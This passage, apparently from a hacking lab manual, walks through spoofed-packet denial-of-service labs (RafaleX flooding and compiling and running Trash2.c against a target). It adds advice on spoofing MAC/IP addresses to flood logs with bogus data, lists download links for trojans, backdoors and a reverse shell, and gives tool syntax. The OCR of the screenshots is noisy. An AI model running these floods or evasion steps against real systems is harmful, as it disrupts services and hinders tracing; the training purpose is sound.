51 6,933504 10,10,10,10 172,16,1,60	NTP NTP
4	
■ Ethernet II, Src: 172.16.0.1 (00:12:88:42:34:c9), D Address Resolution Protocol (request)	st: Broadcast (ff:ff:ff:ff:ff:ff)
0000 ff ff ff ff ff ff 00 12 88 42 34 c9 08 06 00 03	1B4
0010 08 00 06 04 00 01 00 12 88 42 34 c9 ac 10 00 01	1
	U
	YPR201023/H000
File: "C:\DOCUME~1\ADMIN [P: 20029 D: 20029 M: 0 Drops: 0	1.
😹 Start 🔄 🖉 🛱 🗖 🔤 🔄 🔄 🔄 (Untitled) - D	thereal BRatale X 문서 화망 0:41 A
inin inin	0.000

By selecting any of your spoofed packets, you can display the details of the packets in the center section. By dragging the borders of the sections, you can increase or decrease each section.

In this example, by looking at the center section we can verify that each packet was successfully sent with a spoofed source IP address to the target from port 123 to port 321.

*Note: This is commonly known as a "Pepsi" attack.

👰 Wind	ows 2000 Profes	sional - VMware Workstati	on		_ 🗆 ×
File	Edit View VM	Team Windows Help			
]	II 🕞 🚱 🛛	04010			
Vine Vine	dows 2000 Server	Windows 2000 Advance	ed Server 🛛 👘 Red Hat Linu	x 8 Server 🛛 🔐 Windows 2000 Pi	rofessional 🔐 Win 🔹 🕨 🗙
l (Unti	itled) - Ethereal				_ 8 ×
<u>File</u>	dit <u>Vi</u> ew <u>G</u> o	Capture Analyze Statistics	Help		
	n 91 91	💓 🕞 🖯 🗙	🗢 🖸 🔓 🏟		
<u>E</u> ilter:			•	Expression Clear Apply	
No.	Time	Source -	Destination	Protocol Info	<u> </u>
1	.9 6.883720	10.10.10.10	172.16.1.60	NTP NTP	
2	1 6.887426	10.10.10.10	172.16.1.60	NTP NTP	
4	5 6 802026	10.10.10.10	172.16.1.60	NTP NTP	
2	7 6 896020	10 10 10 10	172 16 1 60	NTP NTP	
2	9 6.897905	10.10.10.10	172.16.1.60	NTP NTP	
3	1 6.899997	10.10.10.10	172.16.1.60	NTP NTP	
3	3 6.905723	10.10.10.10	172.16.1.60	NTP NTP	
3	5 6.908096	10.10.10.10	172.16.1.60	NTP NTP	
3	7 6.910340	10.10.10.10	172.16.1.60	NTP NTP	
3	9 6.912920	10.10.10.10	172.16.1.60	NTP NTP	
11	4 & D34 770	10 10 10 10	17714140	NTO NTO	
🗄 Fra	me 19 (96 b	ytes on wire, 96 by	tes captured)		
Eth	ernet II, S	rc: 172.16.1.56 (00	:Oc:29:07:ee:54), D:	st: 172.16.1.60 (00:0c:	29:dc:e9:b6)
H Int	ernet proto	col, src: 10.10.10.1	10 (10.10.10.10), D	ST: 1/2.16.1.60 (1/2.16	.1.60)
H Use	r Datagram	Protocol, Src Port:	ntp (123), Dst Por	: 321 (321)	
H Net	work inme P	rotocol			
0000	00 0c 29 do	: e9 b6 00 0c 29 07	ee 54 08 00 45 00))TE.	
0010	00 52 9b 7f	00 00 80 11 dd bb	0 0a 0a 0a 0a ac 10	.R	
0020	01 3C 00 7k	0 01 41 00 3e 90 28	55 44 50 20 46 4c	.<.{.A.> .(UDP FL	
0030	41 41 44 00	10a 00 44 50 20 40 146 4c 4f 4f 44 0c	1 0a 55 44 50 70 46	UDP FLOOD UDP F	_
0050	4c 4f 4f 44	Od 0a 55 44 50 20	46 4c 4f 4f 44 00	LOOD. UD P FLOOD.	•
File: "C:)	DOCUME~1\ADMI	N P: 20029 D: 20029 M: 0 Dro	ps: 0		
Star	t 🛛 🖉 🛱 🛱	rafale x v1.1	🖉 (Untitled) - Eth	ereal 🗒 Rafale X	圓④圓響響 8:42 AM

*Note: Remember that the target MUST respond to EACH packet sent to it. An attacker will use two or more computers for a successful attack. One computer is used for the actual exploiting of a target while the other(s) are used with several sessions of RafaleX running against a target to create a DoS attack and either attempt to deny valid traffic or cause the target to crash.

Lab 95: Denial-of-Service — Trash2.c

Create Denial-of-Service Traffic: Trash2.c

Prerequisites: None

- **Countermeasures:** Secure ACLs, Bastion servers/workstations, ingress filtering
- **Description:** Trash2.c sends random, spoofed, ICMP/IGMP packets with a random spoof source, causing the target to either lock up or raise the CPU use on the target, effectively creating a DoS.

Procedure: Compile, set the parameters, and execute against the target.

Retrieve the target IP address by typing **ipconfig** and pressing **Enter**.



Start the Ethereal application on the target as outlined in Lab 41. From the directory on the attacking machine containing the Trash2.c file, type:

gcc trash2.c -o trash2



The Trash2 executable will be created.



To execute Trash2 use the following syntax:

./trash2 <target IP Address> <number of packets>



Trash2 will begin to send the identified number of packets to the target.



From the target machine click Ethereal's **Stop** button.

📓 Windows 2000 Professional - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
54. Red Hat Linux 55 Auditor 2100 AMindows 2000 Professional 55 WHAX 55. Red Hat Linux 8 Server	∢ ⊳ ×
Whware Accelerated AMD PCNet Adapter: Capturing - Ethereal	1
File Edit View Go Capture Analyze Statistics Help	
	-
Elter: Expression Clear Apply	
Captured Packets	
Total 7172 % of total	
SCTP 0 0.0%	
1CP 0 0.0%	
1UMP 1429 19,976	
GRF 0 0.0%	
NetBIOS 0 0.0%	
IPX 0 0.0%	
VINES 0 0.0%	
Other 5712 79.6%	
Running 00:00:28	
200	
VMware Accelerated AMD <a>Capturing>	
🕂 Start 🛛 🖉 🍏 🖾 C:\WINNT\System32\cmd 🖉 VMware Accelerated AMD 🖉 Ethereal: Capture fro 🛛 🕀 🖗 🕮 7	:30 PM
 [36]	

Ethereal will display the packets captured.

👩 Windows 2000 Profess	ional - VMware Workstatic	n		_ 🗆 🗙
File Edit View VM	Team Windows Help			
👘 Red Hat Linux 📑 Au	ditor 2100 🔐 🔐 Windows 20	100 Professional 🛛 🖆 WHAX	Red Hat Linux 8 Server	
l (Untitled) - Ethereal				
Eile Edit View Go G	apture Analyze Statistics	Help		
BITH AL AL				
<u>Eilter:</u>		-	Expression Clear Apply	
No Time	Source	Destination	Protocol Info	<u> </u>
1 0.000000	172.16.0.1	Broadcast	ARP Who has 172.16	.1.37? Teil 1
2 1.017628	172.16.0.1	Broadcast	ARP who has 172.16	.1.38? Tell 1:
3 2.038351	172.16.0.1	Broadcast	ARP who has 172.16	.1.38? Tell 1:
5 4 095419	172.16.0.1	Broadcast	ARP WHO has 172.10	1 202 Toll 1
6 5,003850	172.16.0.1	Broadcast	ARP Who has 172.16	1.407 Tell 1:
7 6.045571	172.16.0.1	Broadcast	ARP Who has 172.16	.1.40? Tell 1:
8 7.069885	172.16.0.1	Broadcast	ARP Who has 172.16	.1.41? Tell 1:
9 8.087193	172.16.0.1	Broadcast	ARP who has 172.16	.1.41? Tell 1:
10 9.105333	172.16.0.1	Broadcast	ARP Who has 172.16	.1.42? Tell 1:
11 10.116166	172.16.0.1	Broadcast	ARP Who has 172.16	.1.42? Tell 1:
12 11.044//2	1/2.16.0.1	Broadcast	ARP Who has 172.16	1.432 Tell 1.
14 12 890192	172.16.0.1	Broadcast	ARP Who has 172.10	1 442 Tell 1
15 14 141106	172.16.0.1	Broadcast	ARP who has 172.10	1 447 Tell 1
16 15,159256	172.16.0.1	Broadcast	ARP who has 172.16	1.452 Tell 1:
17 16.068329	172.16.0.1	Broadcast	ARP Who has 172.16	.1.452 Tell 1: 💌
•				<u>></u>
⊞ Frame 1 (60 byt	es on wire, 60 byt	es captured)		
🗄 Ethernet II, Sr	c: 172.16.0.1 (00:	12:88:42:34:c9), Ds	t: Broadcast (ff:ff:ff	:ff:ff:ff)
🗄 Address Resolut	ion Protocol (requ	est)		
0000 ff ff ff ff	ff ff 00 12 88 47	2 34 c9 08 06 00 01	B4	
0010 08 00 06 04	00 01 00 12 88 43	2 34 c9 ac 10 00 01	B4	
0020 TT TT TT TT	TT TT AC 10 01 2			
File: "C:\DOCUME~1\user:	P: 39449 D: 39449 M: 0 Drop:	:: 0		
Start 🖉 🖉 🗊	C:\WINNT\System32\cm	nd 🔘 (Untitled) - Ethere	al	🤹 🗊 🗐 7:32 PM

Click on the **Source** column to sort the packets based on Source address. (You may have to click it twice.)

Window	vs 2000 Profe	ssional - YMware Works	tation			كلعا
File E	dit View Vh	Team Windows He	þ			
	DO	BBBB				
. Red H	tine 5	Mater 2100 Ph Window	ws 2000 Professional	AX Server		4.1
2 (Inte	(ed) - Etheres				- (0) -	×(
Ela Ed	P Manu Co	Cartura Analona Dat	inting Male		100	2
	r Dim St	Cutrone Mentre Tre	0.0 0.0 m			-
84 G			× @ 🗄 🔄 🤇	· · · · · · · · · · · · · · · · · · ·	Θ Θ	
F				- المستعم الصبيا مسترأ		1
Exter:				Diblesson Geal. Bbbly		
No.	Time	Source *	Destination	Protocol Info	-	-
39444	79.11491	4 244.249.255.190	172.16.1.56	IGMP Unknown Type:0x00		4
39443	79.11473	5 244.249.255.193	172.16.1.56	IP Fragmented IP proto	col (prote	
20441	70.11449	8 244.249.255.19	172.10.1.50	TP Fragmented IP proto	col (prote	
39441	79.11424	5 244.249.255.19	172.16.1.56	TP Fragmented TP proto	col (prott	
39430	79,11346	7 244, 249, 255, 191	172.16.1.56	IP Fragmented IP proto	col (prote	
39436	3 79.11328	6 244.249.255.193	172.16.1.56	IP Fragmented IP proto	col (proti	
39437	79.11311	7 244.249.255.193	172.16.1.56	IP Fragmented IP proto	col (proti	
39436	5 79.11293	7 244.249.255.193	172.16.1.56	IP Fragmented IP proto	col (proti	
39431	5 79.11275	7 244.249.255.193	172.16.1.56	IP Fragmented IP proto	col (prote	
39434	79.10086	8 244.249.255.191	172.16.1.56	IGMP Unknown Type:0x00		
5943;	79.10068	0 244.249.255.19	172.10.1.50	1P Fragmented IP proto	col (proti	
20431	79.10047	5 244.249.255.10	172.16.1.56	TP Eragmented TP proto	col (proti	
39430	79.10002	8 244.249.255.190	172.16.1.56	IP Fragmented IP proto	col (prote	
39429	79.09901	3 244.249.255.191	172.16.1.56	IP Fragmented IP proto	col (proti	
39425	79.09883	9 244, 249, 255, 191	172.16.1.56	TP Fragmented TP proto	col (mroti	-
25						
Fran	e 1 (60 b	tes on wire, 60	bytes captured)			-
Ethe	enet II,	Src: 172.16.0.1 (00:12:88:42:34:c9),	Dst: Broadcast (ff:ff:ff:ff:ff:f	f:ff)	
Addr	ess Resol	ution Protocol (r	equest)			-
00			A 13 34 46 60 64 66	97 B.		48
110	08 00 06 0	4 00 01 00 12 8	8 42 34 C9 08 06 00 8 42 34 c9 5c 10 00	11 B.4		
20	ff ff ff f	f ff ff ac 10 0	1 25 00 00 00 00 00	30		
030	00 00 00 0	0 00 00 00 00 0	0 00 00 00			
						1
e: *C:V	OCUME~1/user	P: 39449 D: 39449 M: 0	Drops: 0		1	18
Start	10000	C-(WINNT)System	32jund	real	400 1	7:32
					0	
					140	201 P

Observe that the target received a massive amount (10,000) of fragmented IP packets. Also notice that if you expand the center area of Ethereal and look at the contents of the packets, the **Ethernet II** information displays the actual IP address of the sender whereas the **Internet Protocol** displays the "spoofed" source IP address.

Windo	ws 2000 Profe	essional - VMware Wo	rkstation						_1Q1,
File E	Sdit View V	M Team Windows	Help						
	000	BBBB							
. Red I	ittina 🍰	Audtor 2100	dows 2008 Professio	NAME & MAR	P. Realite Lie	aux () Server	1		4.0
(Unti	tled) - Ethere	al						_ [0]	×
Ble B	dit Vjew Go	Capture Analyze	Statistics Help						
THE R			I × A A	64	en m	ા હ		Ð G	
(10) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1					- T			~ ~	2
Elter:	8			- 5	pression 🤉	lear Apply			22
No.	Time	Source *	Destination	Pr	rotocol Info				-
3944	4 79.11491	4 244.249.255.	191 172.16.1	.56 I	GMP Unki	поwn тур	e:óxûû		
3944	3 79.11473	35 244.249.255.	191 172.16.1		P Fra	gmented	IP protocol	Cprote	
2044	1 70 11449	6 344 346 385	101 172.10.3	56 T	P Frai	mented	TP protocol	Corote	
3944	0 79,11405	5 244.249.255.	191 172.16.1	.56 T	P Frai	mented	IP protocol	Coroti	
3943	9 79.11346	57 244.249.255.	191 172.16.1	.56 I	P Frai	mented	IP protocol	Cprote	
3943	8 79.11328	36 244.249.255.	191 172.16.1	.56 I	P Frai	mented	IP protocol	(proti	
3943	7 79.11311	17 244.249.255.	191 172.16.3	56 I	P Frai	mented :	IP protocol	(proti	
3943	6 79.11293	37 244.249.255.	191 172.16.1	56 I	P Frai	gmented	IP protocol	(proti	
3943	5 79.11279	57 244.249.255.	191 172.16.1	.56 1	P Fra	mented	IP protocol	tprote	-1
•1								31	332
Di Si Tj Inti U Hi Hi Ti	estination ource: 172 ype: IP (0 ernet Prot ersion: 4 eader leng ifferentia otal Lengt	: 172.16.1.56 : 16.1.34 (00:00 x0800) :0col, Src: 244 ;th: 20 bytes ited services F ⁴ h: 1500	00:00:29:07:ee :29:9c:0d:26) 249.255.191 (2 eld: 0x00 (osc	244.249.255.1 P 0x00: Defa	91), DST: ult; ECN:	172.16. 0x00)	1.56 (172.1	.6.1.56	-
•								2	
0000	00 0c 29 05 dc 5c 01 38 00	07 ee 54 00 0c 30 02 e4 ff 02 00 ff ff 00 00	29 9c 0d 26 0 b5 09 f4 f9 f 00 00 00 88 3	8 00 45 00 f bf ac 10 9 cb 4a e4)&E		-	-
Frame (1	514 bytes) Re	assembled IPv4 (7400 b	ytes)		· · · · · · · · · · · · · · · · · · ·	12 - 1	540.	-	
Frame (fr	ame), 1514 byte	m P: 39449 D: 39449 M	t: O Drops: O		10				
Start	100:	C:[WINNT[Sys	tem32jand 🕲 (Un	titled) - Ethereal			4	00	7:33 PM
								050	Contraction of the local division of the loc

*Note: Keep in mind that even though a good security Administrator can locate the actual IP address of the sender, other labs have instructed you how to spoof not only the IP address but the Media Access Control (MAC) address of the computer performing the DoS attack. An attacker will always want to make the logs so full of bad data that any security personnel will have to commit an enormous amount of time to reviewing the logs, and still end up with bogus data of the source.

Appendix A

References

Although the tools used throughout this book are included on the CD, the following is a list of Web sites where the tools can be found (at the time of this writing). Some tools, such as RafaleX, have been renamed to Engage Packet Builder, but the tools are the same. If I could not find a tool on the Internet, I included it on the CD and made note of it below. If a tool is used in a chapter and not listed in this appendix, this indicates that the tool is part of the standard operating system within that lab.

I would like to thank all of the programmers involved for the hours of work they put into the development of these tools.

Chapter 1

VMware Workstation: http://www.vmware.com

Chapter 2

Netcat: http://www.netcat.sourceforge.net Scanline: http://www.foundstone.com/resources/proddesc/scanline.htm Xprobe2: xprobe.sourceforge.net Amap: http://www.thc.org/releases.php Banner.c: http://www.packetstormsecurity.org/UNIX/scanners/banner.c
Chapter 3

GETMAC: http://download.microsoft.com/download/win2000platform/ getmac/1.00.0.1/nt5/en-us/getmac_setup.exe USER2SID: http://www.antiserver.it/Win%20NT/Penetration/download/ sid.zip SID2USER: http://www.antiserver.it/Win%20NT/Penetration/download/ sid.zip USERDUMP: http://www.hammerofgod.com/download.htm USERINFO: http://www.hammerofgod.com/download.htm DUMPSEC: http://www.systemtools.com/cgi-bin/download.pl?DumpAcl Nmap: http://www.insecure.org/nmap/download.html NmapNT: http://www.eeye.com/html/Research/Tools/nmapnt.html Visual Route: http://www.visualroute.com Sam Spade: http://www.samspade.org Netcraft: http://www.netcraft.com Sprint: http://www.zone-h.com/download/file=335/ WinFingerprint: http://www.zone-h.com/download/file=4909/

Chapter 4

Angry IP: http://www.snapfiles.com/get/angryip.html
LANGuard: http://www.gfi.com/lannetscan
Fscan: http://www.foundstone.com/resources/scanning.htm
Passifist: http://zone-h.org/download/file=3177/
LanSpy: http://www.majorgeeks.com/LanSpy_d4561.html
Netcat: http://www.netcat.sourceforge.net
SuperScan: http://www.foundstone.com/resources/freetools.htm
Strobe: http://www.deter.com/unix/software/strobe103.tar.gz
FTPScanner: On the CD
CGI Scanner: http://www.packetstormsecurity.com/UNIX/scanners/ SMB-Scanner.zip
Wingate Scanner: http://pixeledena.free.fr/progs/wGateScan-4.0.exe
ADM Gates: http://www.cotse.com/sw/portscan/ADMgates-v0_2.tgz

Chapter 5

Ethereal: http://www.ethereal.com/download.html Ngrep: http://prdownloads.sourceforge.net/ngrep/ngrep-1.44-1.tar.bz2? download http://prdownloads.sourceforge.net/ngrep/ngrep-1.44-win32-bin.zip? download

Tcpdump: http://www.tcpdump.org

Windump: http://www.winpcap.org/windump/install/default.htm IPDump2: http://www.mirrors.wiretapped.net/security/

packet-capture/ipdump/

ZxSniffer: softsearch.ru/programs/25-250-zxsniffer-download.shtml Sniffit: http://reptile.rug.ac.be/~coder/sniffit/sniffit.html

Chapter 6

RafaleX: http://www.engagesecurity.com/downloads/ engagepacketbuilder/engagepacketbuilder100_setup.exe SMAC: http://www.klcconsulting.net/smac Packit: http://www.snapfiles.com/php/download.php?id=108158& a=7123150&tag=592777&loc=1 VMware Workstation: http://www.vmware.com

Chapter 7

NETWOX/NETWAG: http://www.laurentconstantin.com/en/netw/netwox FGDump: http://www.foofus.net/fizzgig/fgdump/fgdump-1.0.0.zip LC5: http://www.antiserver.it/Win%20NT/Security/download/ l0phtcrack.zip CHNTPW: http://home.eunet.no/~pnordahl/ntpasswd/ John the Ripper: http://www.openwall.com/john/ BruteFTP: On the CD TSGrinder II: http://www.hammerofgod.com/download.htm

Chapter 8

SAINT: http://www.saintcorporation.com/download.html
NETWOX/NETWAG: http://www.laurentconstantin.com/en/netw/netwox
Solar Winds: http://www.solarwinds.net/Download-Tools.htm
Retina: http://www.eeye.com/html/products/retina/download/
X-Scan: http://packetstormsecurity.nl/Exploit_Code_Archive/xscan.tar.gz
SARA: http://www.cisecurity.org/sub_form.html
N-Stealth: http://www.nstalker.com/eng/products/nstealth/freeversion/ download.php
Pluto: http://secwatch.org/download.php?file=pluto.zip&cat=1
Metasploit: http://www.metasploit.com/projects/Framework/ downloads.html
Nikto: http://www.cirt.net/code/nikto.shtml
Shadow Scanner: http://www.networkingfiles.com/en/download.htm
Cerberus: http://www.networkingfiles.com/SecurityApps/ cerberusinternetscanner.htm AutoScan: http://www.iwhax.net Fake Lock Screen XP Login: On the CD RockXP: http://www.snapfiles.com/get/rockxp.html Web Hack Control Center Scan (WHCC): http://ussysadmin.com/modules. php?name=Downloads&d_op=getit&lid=64

Chapter 9

NetStumbler: http://www.netstumbler.com/downloads
Back Orifice: http://www.cultdeadcow.com/tools/bo.html
NetBus: http://www.tcp-ip-info.de/trojaner_ und_viren/netbus_pro_eng.htm
Sneaky-Sneaky: http://packetstormsecurity.nl/UNIX/penetration/ rootkits/icmp-backdoor.tar.gz
Streaming Files: Windows Resource Kit
Ettercap: ettercap.sourceforge.net/download.php
Dsniff: http://sourceforge.net/project/showfiles.php?group_id=12195& package_id=10892&release_id=37548
Netcat: netcat.sourceforge.net/download.php
Reverse Shell: http://packetstormsecurity.org/groups/checksum/Rx.exe

Chapter 10

PortMapper: http://www.analogx.com/contents/download/ network/pmapper.htm
Elitewrap: homepage.ntlworld.com/chawmp/Elitewrap
Fpipe: http://www.foundstone.com/resources/proddesc/fpipe.htm
PsExec: http://www.sysinternals.com/Utilities/PsExec.html
TCP Relay: http://www.freedownloadscenter.com/Programming/ Databases_and_Networks/Interactive_TCP_Relay.html

Chapter 11

RafaleX: http://www.engagesecurity.com/downloads/ engagepacketbuilder/engagepacketbuilder100_setup.exe Trash2.c: http://packetstormsecurity.nl/DoS/trash2.c

Appendix B Tool Syntax

Although this book gives you detailed examples of how to use these tools, this appendix lists the complete syntax for each tool used. Use this section as a reference while practicing the labs.

Chapter	Tool	Syntax
Chapter 1		No tools requiring syntax.
Chapter 2	Telnet	telnet [-a][-e escape char][-f log file] [-l user][-t term][host [port]]
		 Options: -a Attempt automatic logon. Same as -l option except uses the currently logged-on user's name. -e Escape character to enter Telnet client prompt. -f Filename for client-side logging. -l Specifies the username to log in with on the remote system. Requires that the remote system support the TELNET ENVIRON option. -t Specifies terminal type. Supported term types are vt100, vt52, ansi, and vtnt only. host Specifies the hostname or IP address of the remote computer to connect to. port Specifies a port number or service name.

Chapter	Tool	Syntax
Chapter 2	Netcat	Connect to somewhere:
(continued)		nc [-options] hostname port[s]
		[ports]
		Listen for inbound:
		nc -l -p port [options] [hostname] [port]
		Options:
		-d Detach from console, background mode.
		-g gateway Source-routing hop point[s] up to 8
		-G num Source-routing pointer: 4, 8, 12,
		-h This cruft.
		-i secs Delay interval for lines sent, ports scanned.
		-I Listen mode, for inbound connects.
		-L Listen harder, re-listen on socket close. -n Numeric-only IP addresses no DNS
		-o file Hex dump of traffic.
		-p port Local port number.
		-r Randomize local and remote ports.
		-s addr Local source address.
		-t Answer Teinet negotiation.
		-v Verbose [use twice to be more verbose].
		-w secs Timeout for connects and final net reads.
		-z Zero-I/O mode [used for scanning].
		Port numbers can be individual or ranges: m-n [inclusive].
	Scanline	sl [-?bhijnprsTUvz]
		[-cdgmq <n>]</n>
		[-flLoO <file>]</file>
		[-tu <n>[,<n>-<n>]]</n></n></n>
		IP[,IP-IP]
		Options: 2 Shows this halp toxt
		- b Gets port banners
		-c Timeout for TCP and UDP attempts (ms). Default is 4000.
		-d Delay between scans (ms). Default is 0.
		-f Read IPs from file. Use "stdin" for stdin.
		-g Bind to given local port.
		 -h Hide results for systems with no open ports. -i For pinging use ICMP Timestamp Requests in addition to Echo Requests.

Chapter	Tool	Syntax
Chapter 2 (continued)	Scanline	 -j Do not output "" separator between IPs. -l Read TCP ports from file. -L Read UDP ports from file. -m Bind to given local interface IP. -n No port scanning only pinging (unless you use -p). -o Output file (overwrite). -O Output file (append). -p Do not ping hosts before scanning. -q Timeout for pings (ms). Default is 2000. -r Resolve IP addresses to hostnames. -s Output in comma separated format (csv). -t TCP port(s) to scan (a comma-separated list of ports/ranges). -T Use internal list of TCP ports. -u UDP port(s) to scan (a comma-separated list of ports/ranges). -U Use internal list of UDP ports. -v Verbose mode. -z Randomize IP and port scan order.
	Xprobe2	<pre>Usage: ./xprobe2 [options] target Options: -v Be verbose. -r Show route to target (traceroute). -p <proto:portnum:state> Specify port number, protocol, and state. Example: tcp:23:open, UDP:53:CLOSED -c <configfile> Specify config file to use. -h Print this help. -o <fname> Use logfile to log everything. -t <time_sec> Set initial receive timeout or roundtrip time. -s <send_delay> Set packsending delay (milliseconds). -d <debuglv> Specify debugging level. -D <modnum> Disable module number <modnum>. -M <modnum> Enable module number <modnum>. -L Display modules. -m <numofmatches> Specify number of matches to print. -P Enable port scanning module. -T <portspec> Specify TCP port(s) to scan. Example: -T21-23,53,110 -U <portspec> Specify UDP port(s) to scan. -f Force fixed round-trip time (-t opt).</portspec></portspec></numofmatches></modnum></modnum></modnum></modnum></debuglv></send_delay></time_sec></fname></configfile></proto:portnum:state></pre>

Chapter	Tool	Syntax
Chapter 2 (continued)	Xprobe2	 -F Generate signature (use -o to save to a file). -X Save XML output to logfile specified with -o.
	Amap	<pre>amap [-sT -sU] [options] [target port -I] Options:</pre>
		 i Reads hosts and ports from the specified file. The format of this file is as obtained by nmap using the option –m.
		- sT Scan only TCP ports.
		 sU Scan only UDP ports. d Print the hex dump of the received response. The default is to print only the responses that are recognized.
		 b Print ASCII banners if any are received from the probed service. a log recults to
		 D Reads triggers and responses definitions from, instead of the defaults appdefs.trig and appdefs.resp.
		 T n Open n parallel connections. The default is indicated as 16 in the manual pages; however, I counted only 11 in all the tests that I made. t n Wait n seconds for a response. Default is 5
		 H Skip potentially harmful triggers. This will skip triggers that are marked with the 1 flag in the trigger's description file (appdefs.trig).
	Banner.c	<pre>Usage: ./banner <ip-start> <ip-end> <port-start> <port-end></port-end></port-start></ip-end></ip-start></pre>
Chapter 3	NULL Session	NET USE [devicename *] [\\computername\ sharename[\volume] [password *]]
		[/USER:[domain name\]username]
		[/USER:[dotted domain name\]username]
		[/USER:[username@dotted domain name]
		[/SAVECRED]
		[[/DELETE] [/PERSISTENT:{YES NO}]]
		NET USE {devicename *} [password *] /HOME
		NET USE [/PERSISTENT:{YES NO}]

Chapter	Tool	Syntax
Chapter 3 (continued)	GETMAC	getmac[.exe] [/s Computer [/u Domain\User [/p Password]]]
		[/fo {TABLE LIST CSV}][/nh][/v]
		Options:
		/s Computer Specifies the name or IP address of a remote computer (do not use backslashes). The default is the local computer.
		 /u Domain/User Runs the command with the account permissions of the user specified by User or Domain/User. The default is the permission of the currently logged-on user on the computer issuing the command. /p Password Specifies the password of the user account that is specified in the /u parameter. /fo {TABLE LIST CSV} Specifies the format to use for the guery output, Valid values are TABLE LIST and CSV
		 The default format for output is TABLE. /nh Suppresses column header in output. Valid when the /fo parameter is set to TABLE or CSV. /v Specifies that the output displays verbose information. /? Displays help at the command prompt.
	USER2SID	User2sid [\\computer_name] account_name Where computer_name is optional.
	SID2USER	Sid2User [\\computer_name] authority subauthority_1 Where computer_name is optional.
	OSERDOWN	userdump <process id=""><target dump="" file=""></target></process>
	USERINFO	Usage: userinfo \\servername known account Where \\servername is the domain controller or member server.
	DUMPSEC	Dumpsec /rpt=report type /outfile= <i>Options:</i> dir=drive:\path Directory permissions report (drive letter path).
		dir=\\computer\sharepath Directory permissions report (UNC path). registry=hive Registry permissions report (hive can be HKEY_LOCAL_MACHINE or HKEY_USERS).

Chapter	Tool	Syntax
Chapter 3	DUMPSEC	share=sharename Specific shared directory permissions
(continued)		report.
. ,		allsharedirs All nonspecial shared directories
		permissions report.
		printers Printers permissions report.
		shares Shares permissions report.
		users Users report (table format, all fields except groups,
		groupcomment and grouptype).
		usersonly Users report (table format, only username,
		fullname and comment fields).
		userscol Users report (column format, same fields as
		users report).
		groups Groups report (table format, all fields).
		Groupsonly Groups report (table format, group info, no
		user info).
		Groupscol Groups report (column format, same fields as
		groups report).
		Policy Policy report.
		rights Rights report.
		services Services report.
		/outfile=drive:\path File in which to store report. This file
		will be replaced if it already exists.
		Optional parameters for all reports:
		/computer=computer Computer for which to dump
		information. Ignored for directory reports (since
		computer is implied by computer associated with
		redirected drive). Default is to dump local information.
		/saveas=format Format in which to store report: native
		binary format can be loaded back into Somarsoft
		DumpSec.
		csv: Comma-separated columns.
		tsv: Tab-separated columns.
		fixed: Fixed-width columns, padded with blanks.
		Default is to save as native format.
		/noheader Do not include timestamp and other header information in saved report. Default is to include this
		information.
		Optional parameters for permissions reports only:
		/noowner Do not dump owner. Default is to dump owner.
		/noperms Do not dump permissions. Default is to dump
		permissions.
		/showaudit Dump audit info. Default is not to dump
		audit info. Ignored if audit information cannot be displayed because the current user is not a member of the Administrators group
		the Authinistrators group.

Chapter	Tool	Syntax
Chapter 3 (continued)	DUMPSEC	Only one of the following options can be specified: /showexceptions Show directories, files, and Registry keys whose permissions differ from those of the parent directory or Registry key. This is the default. /showexcdirs Show directories (but not files) whose permissions differ from those of the parent directory. /showalldirs Show all directories. Show only those files whose permissions differ from those of the parent directory. /showdirsonly Show all directories. Do not show any files. /showall Show all directories, files, and Registry keys. Optional parameters for users/groups reports only: /showtruelastlogon Query all domain controllers for "true" last logon time, which can be time consuming. Default is to use last logon time from specified computer. /showosid Dump SID as part of users report, which requires some additional and possible time-consuming processing. Default is not to dump SID. /showcomputers Show computer accounts in users reports. Default is only to show normal user accounts.
	Net Commands	NET [ACCOUNTS COMPUTER CONFIG CONTINUE FILE GROUP HELP HELPMSG LOCALGROUP NAME PAUSE PRINT SEND SESSION SHARE START STATISTICS STOP TIME USE USER VIEW]
	Ping	Usage:
		<pre>ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS] [-r count] [-s count] [[-j host-list] [-k host-list]] [-w timeout] target_name Options: -t Ping the specified host until stopped. To see statistics and continue, press Ctrl+Break. To stop, press Ctrl+C. -a Resolve addresses to hostnames. -n count Number of echo requests to send. -l size Send buffer size.</pre>

Chapter	Tool	Syntax
Chapter 3 (continued)	Ping	 -f Set Do not fragment flag in packet. -i TTL Time To Live. -v TOS Type Of Service. -r count Record route for count hops. -s count Timestamp for count hops. -j host-list Lose source route along host-list. -k host-list Strict source route along host-list. -w timeout Timeout in milliseconds to wait for each reply.
	Pathping	Usage: pathping [-g host-list] [-h maximum_hops] [-i address] [-n] [-p period] [-q num_queries] [-w timeout] [-P] [-R] [-T] [-4] [-6] target_name Options:
	Nmap	 -g host-list Lose source route along host-list. -h maximum_hops Maximum number of hops to search for target. -i address Use the specified source address. -n Do not resolve addresses to hostnames. -p period Wait a period of milliseconds between pings. -q num_queries Number of queries per hop. -w timeout Wait timeout milliseconds for each reply. -P Test for RSVP PATH connectivity. -R Test if each hop is RSVP aware. -T Test connectivity to each hop with Layer-2 priority tags. -4 Force using IPv4. -6 Force using IPv6. nmap [Scan Type(s)] [Options] <host #1="" [#n]="" net="" or=""></host> Options: -sT TCP connect () scan This is the most basic form of TCP scanning. The connect () system call provided by your operating system is used to open a connection to every interesting port on the machine. If the port is listening, connect () will succeed; otherwise the port is not reachable. One strong advantage to this technique is that you do not need any special privileges. Any user on most Unix boxes is free to use this call. This sort of scan is easily detectable as target host logs will show several connection and error messages for the services that accept () the connection just to have it immediately shut down.

Chapter	Tool	Syntax
Chapter 3 (continued)	Ping	 -sS TCP SYN scan This technique is often referred to as "half-open" scanning, because you do not open a full TCP connection. You send a SYN packet, as if you are going to open a real connection and you wait for a response. A SYN ACK indicates the port is listening. An RST is indicative of a nonlistener. If a SYN ACK is received, an RST is immediately sent to tear down the connection (actually our OS kernel does this for us). The primary advantage to this scanning technique is that fewer sites will log it. Unfortunately you need root privileges to build these custom SYN packets. -sF -sX -sN Stealth FIN, Xmas Tree, or NULL scan modes There are times when even SYN scanning is not clandestine enough. Some firewalls and packet filters watch for SYNs to restricted ports, and programs like Synlogger and Courtney are available to detect these scans. These advanced scans, on the other hand, may be able to pass through unmolested. The idea is that closed ports are required to reply to your probe packet with an RST, while open ports must ignore the packets in question (see RFC 793 p. 64). The FIN scan uses a bare FIN packet as the probe, while the XMAS tree scan turns off all flags. Unfortunately, Microsoft decided to completely ignore the standard and do things its own way. Thus, this scan type will not work against systems running Windows 95/NT. -sP Ping scanning Sometimes you 